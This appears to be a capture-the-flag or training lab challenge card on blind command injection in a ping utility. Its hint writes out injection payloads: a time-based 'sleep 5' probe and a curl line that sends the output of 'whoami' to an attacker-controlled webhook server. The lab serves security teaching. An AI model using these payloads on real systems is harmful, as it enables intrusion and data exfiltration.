💻 04 — Command Injection
0/3 solved
🙈 Medium — Blind Command Injection
Same ping utility but output is hidden. You must exfiltrate data or use time-based detection.
Use sleep for time-based detection:
8.8.8.8; sleep 5. Or exfiltrate via curl to a webhook: 8.8.8.8; curl http://your-server/$(whoami). Use requestbin.com or webhook.site.